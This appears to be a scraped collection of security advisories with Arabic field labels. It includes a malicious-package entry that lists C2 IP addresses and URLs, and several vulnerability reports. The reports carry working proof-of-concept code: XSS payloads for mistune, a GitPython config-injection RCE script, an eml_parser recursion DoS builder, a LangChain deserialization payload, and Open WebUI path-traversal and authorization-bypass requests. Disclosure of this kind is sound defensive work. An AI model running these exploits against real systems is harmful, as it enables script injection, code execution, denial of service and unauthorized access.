--- _-= Per source details. Do not edit below this line.=-_ ## Source: kam193 (18da24e92fd40457ad3df2af568c07d41b35f44e6e07e8fac3bf0eafba9c2154) During installation, obfuscated code exfiltrates cryptocurrency wallet data to a hardcoded location and places a backdoor through a new authorized SSH key. Information about the placed backdoor is sent back to the attacker, and sshd configuration is adjusted to ensure the successful remote connection. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-05-ninja-core-utils Reasons (based on the campaign): - The package overrides the install command in setup.py to execute malicious code during installation. - obfuscation - crypto-related - exfiltration-crypto - backdoor
الإصدارات المتأثرة
1.2.4, 1.2.5
🚨 مؤشرات الاختراق (IOCs)
IPs: 144.126.142.148
C2 URLs: http://144.126.142.148:5555/tao, http://144.126.142.148:5555/report
الوصف الكامل
## Summary `HTMLRenderer.heading()` builds the opening `<hN>` tag by string-concatenating the `id` attribute value directly into the HTML — with no call to `escape()`, `safe_entity()`, or any other sanitisation function. A double-quote character `"` in the `id` value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, `src=`, `href=`, etc.) into the heading element. The default TOC hook assigns safe auto-incremented IDs (`toc_1`, `toc_2`, …) that never contain user text. However, the `add_toc_hook()` API accepts a caller-supplied `heading_id` callback. Deriving heading IDs from the heading text itself — to produce human-readable slug anchors like `#installation` or `#getting-started` — is by far the most common real-world usage of this callback (every major documentation generator does this). When the callback returns raw heading text, an attacker who controls heading content can break out of the `id=` attribute. ## Details **File:** `src/mistune/renderers/html.py` ```python def heading(self, text: str, level: int, **attrs: Any) -> str: tag = "h" + str(level) html = "<" + tag _id = attrs.get("id") if _id: html += ' id="' + _id + '"' # ← _id is never escaped return html + ">" + text + "</" + tag + ">\n" ``` The `text` body (line content) *is* escaped upstream by the inline token renderer, which is why `text` arrives as `"` etc. But `_id` arrives as a raw string directly from whatever the `heading_id` callback returned — no escaping occurs at any point in the pipeline. ## PoC **Step 1 — Establish the baseline (safe default IDs)** The script creates a parser with `escape=True` and the default `add_toc_hook()` (no custom `heading_id` callback). The default hook generates sequential numeric IDs: ```python md_safe = create_markdown(escape=True) add_toc_hook(md_safe) # default: heading_id produces toc_1, toc_2, … bl_src = "## Introduction\n" bl_out, _ = md_safe.parse(bl_src) ``` Output — ID is auto-generated, no user text appears in it: ```html <h2 id="toc_1">Introduction</h2> ``` **Step 2 — Add the realistic trigger: a text-based `heading_id` callback** Deriving an anchor ID from the heading text is the standard real-world pattern (slugifiers, `mkdocs`, `sphinx`, `jekyll` all do this). The PoC uses the simplest possible version — return the raw heading text unchanged — to show the vulnerability without any extra transformation: ```python def raw_id(token, index): return token.get("text", "") # returns raw heading text as the ID md_vuln = create_markdown(escape=True) add_toc_hook(md_vuln, heading_id=raw_id) ``` **Step 3 — Craft the exploit payload** Construct a heading whose text contains a double-quote followed by an injected attribute: ``` ## foo" onmouseover="alert(document.cookie)" x=" ``` When `raw_id` is called, `token["text"]` is `foo" onmouseover="alert(document.cookie)" x="`. This is passed verbatim to `heading()` as the `id` attribute value. **Step 4 — Observe attribute breakout in the output** ```python ex_src = '## foo" onmouseover="alert(document.cookie)" x="\n' ex_out, _ = md_vuln.parse(ex_src) ``` Actual output: ```html <h2 id="foo" onmouseover="alert(document.cookie)" x="">foo" onmouseover="alert(document.cookie)" x="</h2> ``` Note: the heading **body text** is correctly escaped (`"`), but the **`id=` attribute** is not. A user who moves their mouse over the heading triggers `alert(document.cookie)`. Any JavaScript payload can be substituted. ### Script A verification script was created to verify this issue. It creates a HTML page showing the bypass rendering in the browser. ```python #!/usr/bin/env python3 """H2: HTMLRenderer.heading() inserts the id= value verbatim — no escaping.""" import os, html as h from mistune import create_markdown from mistune.toc import add_toc_hook def raw_id(token, index): return token.get("text", "") # --- baseline --- md_safe = create_markdown(escape=True) add_toc_hook(md_safe) bl_file = "baseline_h2.md" bl_src = "## Introduction\n" with open(os.path.join(os.getcwd(), bl_file), "w") as f: f.write(bl_src) bl_out, _ = md_safe.parse(bl_src) print(f"[{bl_file}]\n{bl_src}") print("[output — id=toc_1, no user content, safe]") print(bl_out) # --- exploit --- md_vuln = create_markdown(escape=True) add_toc_hook(md_vuln, heading_id=raw_id) ex_file = "exploit_h2.md" ex_src = '## foo" onmouseover="alert(document.cookie)" x="\n' with open(os.path.join(os.getcwd(), ex_file), "w") as f: f.write(ex_src) ex_out, _ = md_vuln.parse(ex_src) print(f"[{ex_file}]\n{ex_src}") print("[output — heading_id returns raw text, id= not escaped]") print(ex_out) # --- HTML report --- CSS = """ body{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px} h1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px} p.desc{color:#555;font-size:.9em;margin-top:6px} .case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)} .case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em} .baseline .case-header{background:#d1fae5;color:#065f46} .exploit .case-header{background:#fee2e2;color:#7f1d1d} .panels{display:grid;grid-template-columns:1fr 1fr;background:#fff} .panel{padding:16px} .panel+.panel{border-left:1px solid #eee} .panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em} pre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all} .rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace} .rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em} """ def case(kind, label, filename, src, out): return f""" <div class="case {kind}"> <div class="case-header">{'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)}</div> <div class="panels"> <div class="panel"> <h3>Input — {h.escape(filename)}</h3> <pre>{h.escape(src)}</pre> </div> <div class="panel"> <h3>Output — HTML source</h3> <pre>{h.escape(out)}</pre> <div class="rlabel">↓ rendered in browser (hover the heading to trigger onmouseover)</div> <div class="rendered">{out}</div> </div> </div> </div>""" page = f"""<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"> <title>H2 — Heading ID XSS</title><style>{CSS}</style></head><body> <h1>H2 — Heading ID XSS (unescaped id= attribute)</h1> <p class="desc">HTMLRenderer.heading() in renderers/html.py does html += ' id="' + _id + '"' with no escaping. Triggered when heading_id callback returns raw heading text — the most common doc-generator pattern.</p> {case("baseline", "Clean heading → sequential id=toc_1, safe", bl_file, bl_src, bl_out)} {case("exploit", "Malicious heading → quotes break out of id=, onmouseover injected", ex_file, ex_src, ex_out)} </body></html>""" out_path = os.path.join(os.getcwd(), "report_h2.html") with open(out_path, "w") as f: f.write(page) print(f"\n[report] {out_path}") ``` Example Usage: ```bash python poc.py ``` Once the script is run, open `report_h2.html` in the browser and observe the behaviour. ## Impact | Dimension | Assessment | |------------------|-----------| | **Confidentiality** | Session cookie / auth token theft via JavaScript execution triggered on mouse interaction | | **Integrity** | DOM manipulation, phishing content injection, forced navigation | | **Availability** | Page freeze or crash available to attacker | **Risk context:** This vulnerability targets the most common customisation point for heading IDs. Any documentation site, wiki, or blog engine that generates slug-style anchors from heading text is vulnerable if it uses mistune's `heading_id` callback without independently sanitising the returned value.
الإصدارات المتأثرة
All versions < 0.1.0, 0.2.0, 0.3.0, 0.3.1, 0.4
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
الوصف الكامل
In `src/mistune/directives/image.py`, the `render_figure()` function concatenates `figclass` and `figwidth` options directly into HTML attributes without escaping (lines 152-168). This allows attribute injection and XSS even when `HTMLRenderer(escape=True)` is used, because these values bypass the inline renderer. Other attributes in the same file (src, alt, style) are properly escaped; figclass/figwidth were missed.
الإصدارات المتأثرة
All versions < 0.1.0, 0.2.0, 0.3.0, 0.3.1, 0.4
CVSS Vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
الوصف الكامل
## Summary The mistune math plugin renders inline math (`$...$`) and block math (`$$...$$`) by concatenating the raw user-supplied content directly into the HTML output **without any HTML escaping**. This occurs even when the parser is explicitly created with `escape=True`, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM. The result is a silent contract violation: a developer who enables `escape=True` reasonably expects complete XSS protection, but the math plugin operates as an independent render path that ignores the renderer's `_escape` flag entirely. ## Details **File:** `src/mistune/plugins/math.py` ```python def render_inline_math(renderer, text): # `text` is raw user input — no escape() call anywhere return r'<span class="math">\(' + text + r"\)</span>" def render_block_math(renderer, text): # same issue for block-level $$...$$ return '<div class="math">$$\n' + text + "\n$$</div>\n" ``` Both functions take `text` directly from the parsed token and concatenate it into the output string. Neither function: - calls `escape(text)` from `mistune.util` - checks `renderer._escape` - calls `safe_entity(text)` or any other sanitisation helper The `escape=True` flag only influences the main `HTMLRenderer` methods (`paragraph`, `heading`, `codespan`, etc.). Plugin render functions registered via `md.renderer.register()` receive the `renderer` instance but have no mechanism that enforces the escape contract - they must opt in manually, and `math.py` does not. ## PoC **Step 1 — Establish the baseline (escape=True works for plain HTML)** The script creates a markdown parser with `escape=True` and the math plugin enabled, then feeds it a raw `<script>` tag that is *not* inside math delimiters: ```python md = create_markdown(escape=True, plugins=["math"]) bl_src = "<script>alert(document.cookie)</script>\n" bl_out = str(md(bl_src)) ``` Expected and actual output — the script tag is correctly escaped: ```html <p><script>alert(document.cookie)</script></p> ``` This confirms `escape=True` is working for the normal render path. **Step 2 — Craft the exploit payload** Wrap the identical `<script>` payload inside inline math delimiters `$...$`. The content is token-extracted as `text` and handed to `render_inline_math()`: ```python ex_src = "$<script>alert(document.cookie)</script>$\n" ex_out = str(md(ex_src)) ``` **Step 3 — Observe the bypass** Actual output — the script tag is emitted raw, unescaped: ```html <p><span class="math">\(<script>alert(document.cookie)</script>\)</span></p> ``` The `<script>` block is live inside the `<span class="math">` wrapper. Any browser that renders this HTML will execute `alert(document.cookie)`. **Step 4 — Block math variant (`$$...$$`)** The same bypass applies to block-level math. Payload: ``` $$ <img src=x onerror="alert(document.cookie)"> $$ ``` Output: ```html <div class="math">$$ <img src=x onerror="alert(document.cookie)"> $$</div> ``` The `onerror` handler fires as soon as the browser tries to load the non-existent image `x`. ### Script A verification script was written to test this issue. It creates a HTML page showing the bypass rendering in the browser. ```python #!/usr/bin/env python3 """H1: Math plugin bypasses escape=True — HTML inside $...$ passes through raw.""" import os, html as h from mistune import create_markdown md = create_markdown(escape=True, plugins=["math"]) # --- baseline --- bl_file = "baseline_h1.md" bl_src = "<script>alert(document.cookie)</script>\n" with open(os.path.join(os.getcwd(), bl_file), "w") as f: f.write(bl_src) bl_out = str(md(bl_src)) print(f"[{bl_file}]\n{bl_src}") print("[output — escape=True works normally here]") print(bl_out) # --- exploit --- ex_file = "exploit_h1.md" ex_src = "$<script>alert(document.cookie)</script>$\n" with open(os.path.join(os.getcwd(), ex_file), "w") as f: f.write(ex_src) ex_out = str(md(ex_src)) print(f"[{ex_file}]\n{ex_src}") print("[output — escape=True bypassed inside math delimiters]") print(ex_out) # --- HTML report --- CSS = """ body{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px} h1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px} p.desc{color:#555;font-size:.9em;margin-top:6px} .case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)} .case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em} .baseline .case-header{background:#d1fae5;color:#065f46} .exploit .case-header{background:#fee2e2;color:#7f1d1d} .panels{display:grid;grid-template-columns:1fr 1fr;background:#fff} .panel{padding:16px} .panel+.panel{border-left:1px solid #eee} .panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em} pre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all} .rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace} .rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em} """ def case(kind, label, filename, src, out): return f""" <div class="case {kind}"> <div class="case-header">{'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)}</div> <div class="panels"> <div class="panel"> <h3>Input — {h.escape(filename)}</h3> <pre>{h.escape(src)}</pre> </div> <div class="panel"> <h3>Output — HTML source</h3> <pre>{h.escape(out)}</pre> <div class="rlabel">↓ rendered in browser</div> <div class="rendered">{out}</div> </div> </div> </div>""" page = f"""<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"> <title>H1 — Math XSS</title><style>{CSS}</style></head><body> <h1>H1 — Math Plugin XSS (escape=True bypass)</h1> <p class="desc">render_inline_math() in plugins/math.py concatenates user content without escape(). The escape=True renderer flag is completely ignored inside $...$ delimiters.</p> {case("baseline", "Same HTML outside $...$ — escape=True works", bl_file, bl_src, bl_out)} {case("exploit", "Same HTML inside $...$ — escape=True bypassed", ex_file, ex_src, ex_out)} </body></html>""" out_path = os.path.join(os.getcwd(), "report_h1.html") with open(out_path, "w") as f: f.write(page) print(f"\n[report] {out_path}") ``` Example usage: ```bash python poc.py ``` Once the script is run, open `report_h1.html` in the browser and observe the behaviour. ## Impact | Dimension | Assessment | |------------------|-----------| | **Confidentiality** | Attacker can exfiltrate session cookies, auth tokens, and any data visible to the victim's browser session | | **Integrity** | Attacker can mutate page content, inject phishing forms, redirect the user, or perform authenticated actions | | **Availability** | Attacker can crash or freeze the page (denial-of-service to the user) | **Risk amplifier:** This is a *bypass* of an explicit security control. Developers who have audited their application and confirmed `escape=True` is set believe they have XSS protection. This vulnerability silently invalidates that assumption for every math-enabled parser instance, making it likely to be missed in code reviews and security audits.
الإصدارات المتأثرة
All versions < 0.1.0, 0.2.0, 0.3.0, 0.3.1, 0.4
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
الوصف الكامل
Summary The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered. Details File: git/config.py — GitPython 3.1.49 (latest patched version) ```python def set_value(self, section: str, option: str, value) -> "GitConfigParser": value_str = self._value_to_string_safe(value) # only value is validated if not self.has_section(section): self.add_section(section) # section not validated super().set(section, option, value_str) # option not validated return self ``` _write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config. PoC ```python import git, os, subprocess repo = git.Repo.init("/tmp/bypass_test") os.makedirs("/tmp/evil_hooks", exist_ok=True) with open("/tmp/evil_hooks/pre-commit", "w") as f: f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n") os.chmod("/tmp/evil_hooks/pre-commit", 0o755) # Inject newline into section parameter (not value — already patched) with repo.config_writer() as cw: cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks") r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"], capture_output=True, text=True) print(r.stdout.strip()) # → /tmp/evil_hooks subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"]) print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed ``` Impact Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.
الإصدارات المتأثرة
All versions < beta2
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
الوصف الكامل
### Summary `EmlParser.get_raw_body_text()` recurses unconditionally for every nested `message/rfc822` attachment without any depth limit. An attacker who can supply a badly crafted EML file with approximately 120 nested `message/rfc822` parts triggers an unhandled `RecursionError` and aborts parsing of the message. A 12 KB EML file is enough to crash a worker. Though this causes the parser to crash, it is an unlikely scenario as the suggested EML that crashes the parser would not pass basic RFC compliance tests. ### Details The vulnerable function is `EmlParser.get_raw_body_text()` in `eml_parser/parser.py`. For every part of type `multipart/*`, the function iterates over its sub-parts; for every sub-part of type `message/rfc822`, it calls itself recursively on the inner message: There is no depth parameter and no early-abort. CPython's default `sys.recursionlimit` is 1000. Each level of `message/rfc822` nesting adds approximately 8 frames to the stack (parser code + stdlib `_header_value_parser` calls), so roughly 120 nested levels exhaust the limit. The `RecursionError` is not caught anywhere along the call chain, so it propagates out of `decode_email_bytes()` and aborts processing of the entire message. ### PoC Environment: Python 3.12.3, eml_parser 3.0.0 (`pip install eml_parser==3.0.0`), default `sys.recursionlimit=1000`, Ubuntu 24.04 aarch64. No special configuration of `EmlParser`, default constructor. Self-contained reproducer that builds the PoC and triggers the crash: ```python import eml_parser def build_poc(depth=124): inner = b"From: a@a\r\nTo: b@b\r\nContent-Type: text/plain\r\n\r\n.\r\n" msg = inner for i in range(depth): b = f"B{i}".encode() msg = ( b'Content-Type: multipart/mixed; boundary="' + b + b'"\r\n\r\n' b'--' + b + b'\r\nContent-Type: message/rfc822\r\n\r\n' ) + msg + b'\r\n--' + b + b'--\r\n' return msg ep = eml_parser.EmlParser() ep.decode_email_bytes(build_poc()) # RecursionError after ~76 ms on Apple Silicon (Ubuntu 24.04 aarch64). ``` Note that the suggested code does not produce an RFC compliant message. Resulting EML payload size: 12,369 bytes. SHA-256 of generated PoC: `00f15f635e21b4144967c2893b37425e6a6bd7b4185c557e5c7e904e1e6d18e8` The crash is deterministic on a stock install. No network, no special headers, no large attachments. ### Impact Denial of service of any pipeline that processes attacker-supplied EML files using `eml_parser`. A single 12 KB email is enough to crash a worker. If the worker is a long-running process triaging multiple emails, the unhandled exception aborts processing of the whole batch unless the caller wraps the call in a broad `try/except`. Even then, attacker-supplied volume can keep workers in a perpetual restart loop. The vulnerability is exploitable pre-authentication in any deployment that ingests emails from external senders which have not been subject to any kind of basic validation. Considering that email messages pass through a mail-server which does some kind of validation, messages as produced by the *build_poc* function would not reach eml_parser. Nonetheless recursion depth checks have been implemented to handle the described issue. ### Reporter Sebastián Alba Vives (`@Sebasteuo`) Independent security researcher, Senior AppSec Consultant LinkedIn: https://www.linkedin.com/in/sebastian-alba Email: sebasjosue84@gmail.com PGP: `0D1A E4C2 CFC8 894F 19EA DA24 45CD CA33 2CF8 31F4`
الإصدارات المتأثرة
All versions < 0.9, 1.0, 1.1, 1.10, 1.11
CVSS Vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
الوصف الكامل
LangChain contains older runtime code paths that deserialize run inputs, run outputs, or other application-controlled payloads using overly broad object allowlists. These paths may call `load()` with `allowed_objects="all"`. This does not enable arbitrary Python object deserialization, but it does allow any trusted LangChain-serializable object to be revived, which is broader than these runtime paths require. As a result, attacker-supplied LangChain serialized constructor dictionaries may cause trusted runtime paths to instantiate classes with untrusted constructor arguments. Applications are exposed only when all of the following are true: 1. The application accepts untrusted structured input, such as JSON, from a user or network request. 2. The application does not validate or canonicalize that input into an inert schema before invoking LangChain. 3. Attacker-controlled nested dictionaries or lists are preserved in LangChain run inputs or outputs. 4. The application uses an affected API path that later deserializes that run data. Known affected runtime surfaces include: - `RunnableWithMessageHistory` - `astream_log()` - `astream_events(version="v1")` Related unsafe deserialization patterns may also affect applications that explicitly load serialized LangChain prompt or runnable objects from untrusted sources, including shared prompt stores, Hub artifacts with model configuration, or other application-controlled serialization stores. Applications that validate incoming requests against a fixed schema, such as coercing user input to a plain string or message-content field before invoking LangChain, are unlikely to expose this deserialization primitive. This release also fixes a related secret-marker validation bypass in the serialization and deserialization layer (`_is_lc_secret`). That issue creates an additional path by which attacker-controlled constructor dictionaries can avoid escaping during `dumps()` -> `loads()` round-trips and reach LangChain object revival logic. ## Impact An attacker who can submit untrusted structured input to an affected application, and have that structure preserved in LangChain run data, may be able to inject LangChain serialized constructor payloads such as: ```json { "lc": 1, "type": "constructor", "id": ["langchain_core", "messages", "ai", "AIMessage"], "kwargs": {"content": "attacker-controlled content"} } ``` If this payload reaches a broad `load()` call, LangChain may instantiate the referenced class instead of treating the payload as inert user data. Realistic impacts include: - Persistent chat-history poisoning when revived `AIMessage`, `HumanMessage`, or `SystemMessage` objects are stored by `RunnableWithMessageHistory`. - Prompt injection or behavior manipulation if attacker-controlled messages are later included in model context. - Instantiation of unexpected trusted LangChain objects with attacker-controlled constructor arguments. - Possible credential disclosure or server-side requests if a reachable object reads environment credentials, creates clients, or contacts attacker-controlled endpoints during initialization. - Additional prompt-template or runnable-configuration impacts in applications that separately load and execute untrusted serialized LangChain objects. ## Remediation LangChain will deprecate the affected APIs as part of this fix: - `RunnableWithMessageHistory` - `astream_log()` - `astream_events(version="v1")` These are older code paths that are no longer recommended for new applications. They were not previously marked as deprecated, but recent LangChain documentation has primarily directed users toward newer streaming and memory patterns, including the `stream` API. Applications should migrate to the currently recommended APIs rather than continue depending on these older surfaces. Separately, LangChain will update `load()` and `loads()` to tighten deserialization behavior so broad object revival is not applied implicitly to untrusted or application-controlled payloads. The older runtime surfaces listed above are being deprecated rather than preserved as supported paths for broad runtime deserialization. This release also fixes a related secret-marker validation bypass in the serialization and deserialization layer (`_is_lc_secret`). That issue creates an additional path by which attacker-controlled constructor dictionaries can avoid escaping during `dumps()` -> `loads()` round-trips and reach LangChain object revival logic. ## Guidance for `load()` and `loads()` `load()` and `loads()` should be used only with trusted LangChain manifests or serialized objects from trusted storage. Do not pass user-controlled data to `load()` or `loads()`, and do not use them as general parsers for request bodies, tool inputs, chat messages, or other attacker-controlled data. `load()` and `loads()` are beta APIs, and their behavior may change as LangChain narrows unsafe defaults. Future LangChain versions will require callers to be explicit about which objects may be revived. Users should pass a narrow `allowed_objects` value appropriate for the specific trusted manifest they are loading, rather than relying on broad defaults or `allowed_objects="all"`, which permits the full trusted LangChain serialization allowlist. ## Credits The original issue was first reported by @u-ktdi. Similar findings were reported by @dewankpant, @shrutilohani, @Moaaz-0x, @pucagit. A related `_is_lc_secret` marker bypass affecting `dumps()` -> `loads()` round-trips was reported by @yardenporat353 (and a similar report by @localhost-detect)
الإصدارات المتأثرة
1.0.0, 1.0.1, 1.0.2, 1.0.3, 1.0.4
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
الوصف الكامل
# **CONFIDENTIAL** # KL-CAN-2024-002 ## Vulnerability Details | # | Field | Value | |---|-------|-------| | 1 | **Discoverer** | Jaggar Henry & Sean Segreti of KoreLogic, Inc. | | 2 | **Date Submitted** | 2024.03.12 | | 3 | **Title** | Open WebUI Arbitrary File Upload + Path Traversal | | 5 | **Affected Vendor** | Open WebUI | | 6 | **Affected Product(s)** | Open WebUI (Formerly Ollama WebUI) | | 7 | **Affected Version(s)** | 0.1.105 | | 8 | **Platform/OS** | Debian GNU/Linux 12 (bookworm) | | 9 | **Vector** | HTTP web interface | | 10 | **CWE** | CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-434: Unrestricted Upload of File with Dangerous Type | --- ## 4. High-level Summary Attacker controlled files can be uploaded to arbitrary locations on the web server's filesystem by abusing a path traversal vulnerability. --- ## 11. Technical Analysis When attaching files to a prompt by clicking the plus sign (+) on the left of the message input box when using the Open WebUI HTTP interface, the file is uploaded to a static upload directory. The name of the file is derived from the original HTTP upload request and is not validated or sanitized. This allows for users to upload files with names containing dot-segments in the file path and traverse out of the intended uploads directory. Effectively, users can upload files anywhere on the filesystem the user running the web server has permission. This can be visualized by examining the python code for the `/rag/api/v1/doc` API route: ```python @app.post("/doc") def store_doc( collection_name: Optional[str] = Form(None), file: UploadFile = File(...), user=Depends(get_current_user), ): # "https://www.gutenberg.org/files/1727/1727-h/1727-h.htm" print(file.content_type) try: filename = file.filename file_path = f"{UPLOAD_DIR}/{filename}" contents = file.file.read() with open(file_path, "wb") as f: f.write(contents) f.close() ``` The `file` variable is a representation of the multipart form data contained within the HTTP POST request. The `filename` variable is derived from the uploaded file name and is not validated before writing the file contents to disk. This can be used to upload malicious models. These models are often distributed as pickled python objects and can be leveraged to execute arbitrary python bytecode once deserialized. Alternatively, an attacker can leverage existing services, such as SSH, to upload an attacker controlled `authorized_keys` file to remotely connect to the machine. --- ## 12. Proof-of-Concept Execute the following cURL command: ```bash TARGET_URI='https://redacted.com'; JWT='redacted'; LOCAL_FILE='/tmp/file_to_upload.txt'\ curl -H "Authorization: Bearer $JWT" -F "file=$LOCAL_FILE;filename=../../../../../../../../../../tmp/pwned.txt" "$TARGET_URI/rag/api/v1/doc" ``` Verify the file `pwned.txt` exists in the `/tmp/` directory on the machine hosting the web server: ```console ollama@webserver:~$ cat /tmp/pwned.txt korelogic ollama@webserver:~$ ```
الإصدارات المتأثرة
All versions < 0.1.124
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
الوصف الكامل
# **CONFIDENTIAL** # Vulnerability Disclosure Analysis Documentation --- ## Vulnerability Details | # | Field | Value | |---|-------|-------| | 1 | **Discoverer** | Taylor Pennington of KoreLogic, Inc. | | 2 | **Date Submitted** | June 11, 2024 | | 3 | **Title** | Open WebUI Improper Authorization Control | | 5 | **Affected Vendor** | Open WebUI | | 6 | **Affected Product(s)** | Open WebUI (Formerly Ollama WebUI) | | 7 | **Affected Version(s)** | 0.1.105 | | 8 | **Platform/OS** | Debian GNU/Linux 12 (bookworm) | | 9 | **Vector** | HTTP web interface | | 10 | **CWE** | 285 Improper Authorization | --- ## 4. High-level Summary There is a missing authorization check affecting user accounts with a `pending` status allowing the user to make authenticated API calls as a `user` context. --- ## 11. Technical Analysis The Open WebUI web application has three user role classifications: `user`, `admin`, and `pending`. By default, when Open WebUI is configured with `new sign-ups` enabled, the default user role is set to `pending`. In this configuration, an administrator is required to go into the Admin management panel following a new user registration and reconfigure the user to have a role of either `user` or `admin` before that user is able to access the web application. However, this check is only enforced at the client presentation layer, the API does not properly validate that the user has an authorized user role of `user`. ### Request ```http POST /api/v1/auths/signup HTTP/1.1 Host: openwebui.example.com Content-Length: 60 { "name": "", "email": "bad_guy@korelogic.com", "password": "a" } ``` ### Response ```http HTTP/1.1 200 OK ... { "id": "f839557a-031a-47a5-9999-0b0998f8f959", "email": "bad_guy@korelogic.com", "name": "", "role": "pending", "profile_image_url": "/user.png", "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4Mzk1NTdhLTAzMWEtNDdhNS05OTk5LTBiMDk5OGY4Zjk1OSJ9.Bk-S4ABXb1tRuiVNfOJYbQFB8ewixWA4a1FohvIZARs", "token_type": "Bearer" } ``` An attacker can then use the JWT in the above response to make direct API calls or they can forge the authentication response and use the web UI. With the JWT, an attacker can now query the LLM. However, for this demonstration we will query the `/ollama/api/tags` endpoint and get a list of available models as this is an authenticated endpoint. Attempting to make this request without a valid JWT returns an HTTP `401 Unauthorized` response. ### Request ```http GET /ollama/api/tags HTTP/1.1 Host: openwebui.example.com Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4Mzk1NTdhLTAzMWEtNDdhNS05OTk5LTBiMDk5OGY4Zjk1OSJ9.Bk-S4ABXb1tRuiVNfOJYbQFB8ewixWA4a1FohvIZARs ``` ### Response ```http HTTP/1.1 200 OK ... { "models": [ { "name": "ollama.com/emsi/mixtral-8x22b:latest", "model": "ollama.com/emsi/mixtral-8x22b:latest", "modified_at": "2024-04-12T17:27:51.479356401-04:00", "size": 79509285991, "digest": "9b000033acd802656a652c7df4e25300a61d903cd3c8eb065a50aaace484c319", "details": { "parent_model": "", "format": "gguf", "family": "llama", "families": ["llama"], "parameter_size": "141B", "quantization_level": "Q4_0" }, "urls": [0] }, ... ] } ``` The logic for this endpoint can be seen here: <https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L163-L180> As shown below, the login checks if `url_idx` is `None` and if so, call `get_all_mdoels` and assign the result to `models` after that the logic checks if `app.state.MODEL_FILTER_ENABLED` is true and if not, it returns the result. As `MODEL_FILTER_ENABLED` is not configured by default, the application will not attempt to further validate the user. ```python @app.get("/api/tags") @app.get("/api/tags/{url_idx}") async def get_ollama_tags( url_idx: Optional[int] = None, user=Depends(get_current_user) ): if url_idx == None: models = await get_all_models() if app.state.MODEL_FILTER_ENABLED: if user.role == "user": models["models"] = list( filter( lambda model: model["name"] in app.state.MODEL_FILTER_LIST, models["models"], ) ) return models return models ``` This is just an example of one API endpoint but all other regular user accessible endpoints were accessible to a pending user. The vulnerability is caused by a missing authorization check that occurs with `user=Depends(get_current_user)`. The logic of that function is found here: <https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/utils/utils.py#L77-L97> ```python def get_current_user( auth_token: HTTPAuthorizationCredentials = Depends(bearer_security), ): # auth by api key if auth_token.credentials.startswith("sk-"): return get_current_user_by_api_key(auth_token.credentials) # auth by jwt token data = decode_token(auth_token.credentials) if data != None and "id" in data: user = Users.get_user_by_id(data["id"]) if user is None: raise HTTPException( status_code=status.HTTP_401_UNAUTHORIZED, detail=ERROR_MESSAGES.INVALID_TOKEN, ) return user else: raise HTTPException( status_code=status.HTTP_401_UNAUTHORIZED, detail=ERROR_MESSAGES.UNAUTHORIZED, ) ``` As shown above, this logic does not verify the role of the user, the function simples checks if the JWT is valid. --- ## 12. Proof-of-Concept First, verify 